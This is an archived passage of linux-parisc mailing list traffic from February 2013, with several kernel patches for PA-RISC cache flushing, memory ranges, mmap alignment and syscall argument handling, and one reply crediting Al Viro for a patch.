Subject: [PATCH] parisc: disable preemption while flushing D- or I-caches
 through TMPALIAS region
Date: Sun, 3 Feb 2013 00:41:24 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20130202234124.GA1188@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359848494 18475 80.91.229.3 (2 Feb 2013 23:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Feb 2013 23:41:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 03 00:41:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1miY-0007NV-Bn
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Feb 2013 00:41:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751664Ab3BBXle (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Feb 2013 18:41:34 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:51653 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751435Ab3BBXld (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Feb 2013 18:41:33 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LzEWl-1V5QBW3iUL-014SFf for
 <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 00:41:31 +0100
Original-Received: (qmail invoked by alias); 02 Feb 2013 23:41:31 -0000
Original-Received: from p54AD07C7.dip0.t-ipconnect.de (EHLO p100.box) [84.173.7.199]
  by mail.gmx.net (mp030) with SMTP; 03 Feb 2013 00:41:31 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX183s2FxRs43o13zjNBYwOri33OOZbcPaNlJHRVB+C
	YNtMRj50GhwlM3
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4779
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4779>

It is necessary to disable preemption during cache flushes done through the
TMPALIAS region to ensure that the TLB setup is not clobbered by another flush.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 9f21ab0..79f694f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b89a85a..703ed48 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -267,9 +267,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: always detect multiple physical ranges
Date: Sun, 3 Feb 2013 00:42:25 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20130202234225.GB1188@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359848552 18921 80.91.229.3 (2 Feb 2013 23:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Feb 2013 23:42:32 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 03 00:42:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1mjQ-0007NV-N2
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Feb 2013 00:42:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751664Ab3BBXma (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Feb 2013 18:42:30 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:57586 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751435Ab3BBXm3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Feb 2013 18:42:29 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MhPBM-1UOQBa1ADC-00MbIO for
 <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 00:42:28 +0100
Original-Received: (qmail invoked by alias); 02 Feb 2013 23:42:28 -0000
Original-Received: from p54AD07C7.dip0.t-ipconnect.de (EHLO p100.box) [84.173.7.199]
  by mail.gmx.net (mp030) with SMTP; 03 Feb 2013 00:42:28 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX182g9pDk9I2P5AR2Sl+zDEma+V2GYs55mQrdE4PWi
	UkSN7wA55H2Mww
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4780>

This patch unbreaks the current logic in that way, that even if
CONFIG_DISCONTIGMEM isn't set, the user may be informed, that he should turn on
CONFIG_DISCONTIGMEM for his machine.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index e67eb9c..31835b9 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,9 +1,10 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+
 #ifdef CONFIG_DISCONTIGMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
 struct node_map_data {
@@ -60,7 +61,5 @@ static inline int pfn_valid(int pfn)
 	return 0;
 }
 
-#else /* !CONFIG_DISCONTIGMEM */
-#define MAX_PHYSMEM_RANGES 	1 
 #endif
 #endif /* _PARISC_MMZONE_H */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: space register variables need to be in native length
 (unsigned long)
Date: Sun, 3 Feb 2013 00:43:06 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20130202234306.GC1188@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359848595 19272 80.91.229.3 (2 Feb 2013 23:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Feb 2013 23:43:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 03 00:43:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1mk6-0007NV-Go
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Feb 2013 00:43:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751971Ab3BBXnM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Feb 2013 18:43:12 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:52941 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751689Ab3BBXnL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Feb 2013 18:43:11 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Ls67d-1UyGDS3TyB-013uIM for
 <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 00:43:09 +0100
Original-Received: (qmail invoked by alias); 02 Feb 2013 23:43:09 -0000
Original-Received: from p54AD07C7.dip0.t-ipconnect.de (EHLO p100.box) [84.173.7.199]
  by mail.gmx.net (mp032) with SMTP; 03 Feb 2013 00:43:09 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19arwpQkAta09TQyiGyKyTwGOhEfo5Fd3H4986uv+
	rteL47mQrQ84Dp
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4781>

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index fd05170..52c85b2 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -312,7 +312,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: ensure that mmapped shared pages are aligned at
 SHMLBA addresses
Date: Sun, 3 Feb 2013 00:44:59 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20130202234459.GD1188@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359848709 20152 80.91.229.3 (2 Feb 2013 23:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Feb 2013 23:45:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 03 00:45:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1mlu-0000hD-Jg
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Feb 2013 00:45:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752009Ab3BBXpE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Feb 2013 18:45:04 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:64275 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751689Ab3BBXpC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Feb 2013 18:45:02 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.1]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MUiOI-1UTL5V1XKe-00Y8Fj for
 <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 00:45:01 +0100
Original-Received: (qmail invoked by alias); 02 Feb 2013 23:45:01 -0000
Original-Received: from p54AD07C7.dip0.t-ipconnect.de (EHLO p100.box) [84.173.7.199]
  by mail.gmx.net (mp001) with SMTP; 03 Feb 2013 00:45:01 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19cOic8wJpcCgeLLHMSTXnR3wJml65lcpTS+8J+/2
	53TBbf9+lTlJke
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4782
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4782>

Author: John David Anglin <dave.anglin@bell.net>

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index f76c108..a047b32 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -94,11 +94,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Pass the 5th and 6th argument for on the stack for
 32bit ptraced processes too
Date: Sun, 3 Feb 2013 00:46:43 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20130202234643.GE1188@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359848808 20856 80.91.229.3 (2 Feb 2013 23:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Feb 2013 23:46:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 03 00:47:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1mna-0000hD-QZ
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Feb 2013 00:47:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751611Ab3BBXqs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Feb 2013 18:46:48 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:54053 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751492Ab3BBXqr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Feb 2013 18:46:47 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lmxbm-1Uby5y1RoS-00h7yX for
 <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 00:46:46 +0100
Original-Received: (qmail invoked by alias); 02 Feb 2013 23:46:46 -0000
Original-Received: from p54AD07C7.dip0.t-ipconnect.de (EHLO p100.box) [84.173.7.199]
  by mail.gmx.net (mp004) with SMTP; 03 Feb 2013 00:46:46 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/vAYph/QDvvUPqwPswJVN+4+oAE0b53WL4BpEpO/
	iuySj1WE82OPQc
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4783
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4783>

Author: John David Anglin <dave.anglin@bell.net>

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 86742df..c893ec4 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -309,10 +309,13 @@ tracesys_next:
 	LDREG   TASK_PT_GR25(%r1), %r25
 	LDREG   TASK_PT_GR24(%r1), %r24
 	LDREG   TASK_PT_GR23(%r1), %r23
-#ifdef CONFIG_64BIT
 	LDREG   TASK_PT_GR22(%r1), %r22
 	LDREG   TASK_PT_GR21(%r1), %r21
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
+#else
+	stw	%r22, -52(%r30)			/* 5th argument */
+	stw	%r21, -56(%r30)			/* 6th argument */
 #endif
 
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Pass the 5th and 6th argument for on the stack
 for 32bit ptraced processes too
Date: Sun, 03 Feb 2013 01:07:36 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <510DAA48.4060409@gmx.de>
References: <20130202234643.GE1188@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359850061 30018 80.91.229.3 (3 Feb 2013 00:07:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Feb 2013 00:07:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 03 01:08:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1n7n-00033g-C7
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Feb 2013 01:07:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751611Ab3BCAHl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Feb 2013 19:07:41 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:54634 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751435Ab3BCAHk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Feb 2013 19:07:40 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.20]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MVXXN-1UTbuu1LoN-00Yz58 for
 <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 01:07:39 +0100
Original-Received: (qmail invoked by alias); 03 Feb 2013 00:07:39 -0000
Original-Received: from p54AD07C7.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.7.199]
  by mail.gmx.net (mp020) with SMTP; 03 Feb 2013 01:07:39 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19beWFb5qJbpbKLxnv3FwEh6QlYkv0uTGLBZNWSon
	1xAN8mpRiap8f/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <20130202234643.GE1188@p100.box>
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4784
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4784>

This patch was originally submitted by Al Viro:
https://patchwork.kernel.org/patch/1853531/


On 02/03/2013 12:46 AM, Helge Deller wrote:
> Author: John David Anglin <dave.anglin@bell.net>
> 
> Signed-off-by: John David Anglin <dave.anglin@bell.net>
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index 86742df..c893ec4 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -309,10 +309,13 @@ tracesys_next:
>  	LDREG   TASK_PT_GR25(%r1), %r25
>  	LDREG   TASK_PT_GR24(%r1), %r24
>  	LDREG   TASK_PT_GR23(%r1), %r23
> -#ifdef CONFIG_64BIT
>  	LDREG   TASK_PT_GR22(%r1), %r22
>  	LDREG   TASK_PT_GR21(%r1), %r21
> +#ifdef CONFIG_64BIT
>  	ldo	-16(%r30),%r29			/* Reference param save area */
> +#else
> +	stw	%r22, -52(%r30)			/* 5th argument */
> +	stw	%r21, -56(%r30)			/* 6th argument */
>  #endif
>  
>  	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Sun, 3 Feb 2013 23:59:09 +0100
Lines: 158
Approved: news@gmane.org
Message-ID: <20130203225909.GA14573@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359932359 25659 80.91.229.3 (3 Feb 2013 22:59:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Feb 2013 22:59:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 03 23:59:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U28XA-00033P-EH
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Feb 2013 23:59:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753840Ab3BCW7R (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2013 17:59:17 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:50061 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753827Ab3BCW7R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2013 17:59:17 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LeP1H-1UlLeo2lGn-00qEip for
 <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 23:59:15 +0100
Original-Received: (qmail invoked by alias); 03 Feb 2013 22:59:15 -0000
Original-Received: from p54AD0959.dip0.t-ipconnect.de (EHLO p100.box) [84.173.9.89]
  by mail.gmx.net (mp029) with SMTP; 03 Feb 2013 23:59:15 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/r0RAwvgzrie5UIEk7I07In1DYesVeiu1PiwhAr0
	fqmLKXyzLjzBzJ
Content-Disposition: inline
Author: John David Anglin <dave.anglin@bell.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4785
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4785>

This is the first patch in a series of 4, with which the page cache flushing of
parisc will gets fixed and enhanced. This even fixes the nasty "minifail" bug
(http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29) which
prevented parisc to stay an official debian port.  Basically the flush in
copy_user_page together with the TLB patch from commit
7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail bug. 

This patch still uses the TMPALIAS approach.  The new copy_user_page
implementation calls flush_dcache_page_asm to flush the user dcache page
(crucial for minifail fix) via a kernel TMPALIAS mapping.  After that, it just
copies the page using the kernel mapping.  It does a final flush if needed.
Generally it is hard to avoid doing some cache flushes using the kernel mapping
(e.g., copy_to_user_page and copy_from_user_page).

This patch depends on a subsequent change to pacache.S implementing
clear_page_asm and copy_page_asm.  These are optimized routines to clear and
copy a page.  The calls in clear_user_page and copy_user_page could be replaced
by calls to memset and memcpy, respectively.  I tested prefetch optimizations
in clear_page_asm and copy_page_asm but didn't see any significant performance
improvement on rp3440.  I'm not sure if these are routines are significantly
faster than memset and/or memcpy, but they are there for further performance
evaluation. 

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 4e0e7db..d9812d8 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
